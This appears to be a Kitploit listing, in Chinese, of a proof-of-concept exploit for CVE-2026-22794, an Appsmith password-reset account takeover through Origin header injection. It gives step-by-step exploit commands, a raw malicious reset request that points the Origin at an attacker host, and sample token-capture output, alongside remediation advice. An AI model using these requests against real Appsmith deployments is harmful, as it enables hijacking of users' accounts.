Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/malikhamza7/cve-2026-22794-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证
GitHubmalikhamza7/cve-2026-22794-poc

CVE-2026-22794-POC

🔴 CVE-2026-22794 - Appsmith 密码重置账户接管(通过 Origin 头注入)| PoC 漏洞利用 + Nuclei 模板

查看仓库
77个月前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22794 - Appsmith Origin 头注入

Python Version CVE License

🔴 严重安全漏洞

通过 Origin 头操纵劫持密码重置链接

本仓库包含 CVE-2026-22794 的概念验证(PoC)漏洞利用程序,这是 Appsmith 中的一个严重漏洞,允许攻击者劫持密码重置令牌并实现完全账户接管。

📋 漏洞摘要

字段值
CVE IDCVE-2026-22794
受影响软件Appsmith(补丁之前的版本)
漏洞类型Origin 头注入
影响完全账户接管
CVSS 评分9.1(严重)
攻击向量网络
攻击复杂度低
所需权限无
用户交互需要(受害者点击链接)

🎯 漏洞描述

Appsmith 在未经验证的情况下使用 HTTP Origin 头来构造密码重置和电子邮件验证 URL。易受攻击的代码直接将 Origin 头分配给密码重置基础 URL:

root@kitploit:~
userPasswordDTO.setBaseUrl(originHeader);

这允许攻击者:

  1. 对任意电子邮件地址触发密码重置
  2. 注入指向攻击者控制服务器的恶意 Origin 头
  3. 在受害者点击链接时捕获密码重置令牌
  4. 使用该令牌重置受害者的密码并接管其账户

🔥 攻击链

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                     攻击流程                                      │
└─────────────────────────────────────────────────────────────────┘

  ┌──────────┐                    ┌──────────┐                    ┌──────────┐
  │  攻击者   │                    │ APPSMITH │                    │  受害者   │
  └────┬─────┘                    └────┬─────┘                    └────┬─────┘
       │                               │                               │
       │ 1. POST /forgotPassword       │                               │
       │    Origin: attacker.com       │                               │
       │    email: [email protected]     │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │                               │ 2. 发送包含以下内容的电子邮件    │
       │                               │    attacker.com/reset?token   │
       │                               │──────────────────────────────>│
       │                               │                               │
       │ 3. 受害者点击链接               │                               │
       │<──────────────────────────────────────────────────────────────│
       │                               │                               │
       │ 4. 令牌已被捕获!               │                               │
       │                               │                               │
       │ 5. POST /resetPassword        │                               │
       │    token: STOLEN_TOKEN        │                               │
       │    password: attacker123      │                               │
       │──────────────────────────────>│                               │
       │                               │                               │
       │ 6. 账户接管成功! ✓            │                               │
       │                               │                               │

📦 安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC

# 安装依赖
pip install -r requirements.txt

🚀 使用方法

检查目标是否易受攻击

root@kitploit:~
python exploit.py --target https://appsmith.target.com --check

启动令牌捕获服务器

root@kitploit:~
python exploit.py --listen --port 8080

发送恶意密码重置请求

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com

全自动攻击

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com \
    --listen --port 8080

使用捕获的令牌重置密码

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --reset-token CAPTURED_TOKEN \
    --new-password "NewP@ssw0rd!"

📸 攻击演示

步骤 1:攻击者发送恶意请求

root@kitploit:~
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json

{
  "email": "[email protected]"
}

步骤 2:受害者收到包含恶意链接的电子邮件

root@kitploit:~
密码重置链接:https://attacker-server.com/user/resetPassword?token=abc123xyz...

步骤 3:攻击者捕获令牌

root@kitploit:~
[+] 已捕获传入请求!
[*] 路径:/user/resetPassword?token=abc123xyz789...
[!!!] 密码重置令牌已被捕获!
[!!!] 令牌:abc123xyz789...

步骤 4:账户接管

root@kitploit:~
[+] 账户接管成功!
[+] 密码已重置为:NewP@ssw0rd!

🛡️ 修复建议

使用 Appsmith 的组织应:

  1. 立即更新到最新的已修补版本
  2. 根据允许域名的白名单验证 Origin 头
  3. 使用服务器端配置生成密码重置 URL
  4. 实施额外的验证(例如,IP 验证、短令牌过期时间)

安全代码示例

root@kitploit:~
// ❌ 易受攻击的代码
userPasswordDTO.setBaseUrl(originHeader);

// ✅ 安全代码
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// 或根据白名单进行验证
if (!allowedOrigins.contains(originHeader)) {
    throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);

📁 仓库结构

root@kitploit:~
CVE-2026-22794/
├── README.md           # 本文件
├── exploit.py          # 主漏洞利用脚本
├── requirements.txt    # Python 依赖
├── LICENSE             # MIT 许可证
└── docs/
    └── technical_analysis.md  # 详细漏洞分析

⚠️ 法律免责声明

本工具仅用于授权的安全测试和教育目的。

  • 仅对您拥有或已获得明确书面许可的系统使用此工具
  • 未经授权访问计算机系统是违法的
  • 作者不对任何滥用此工具的行为负责
  • 始终遵循负责任披露的做法

📄 参考资料

  • CVE-2026-22794
  • OWASP - 忘记密码速查表
  • CWE-346:Origin 验证错误

👤 作者

安全研究员

  • GitHub:@MalikHamza7
  • LinkedIn:您的 LinkedIn 个人资料

📜 许可证

本项目根据 MIT 许可证授权 - 有关详细信息,请参阅 LICENSE 文件。


⭐ 如果您觉得这有用,请给仓库点个星标! ⭐

下载工具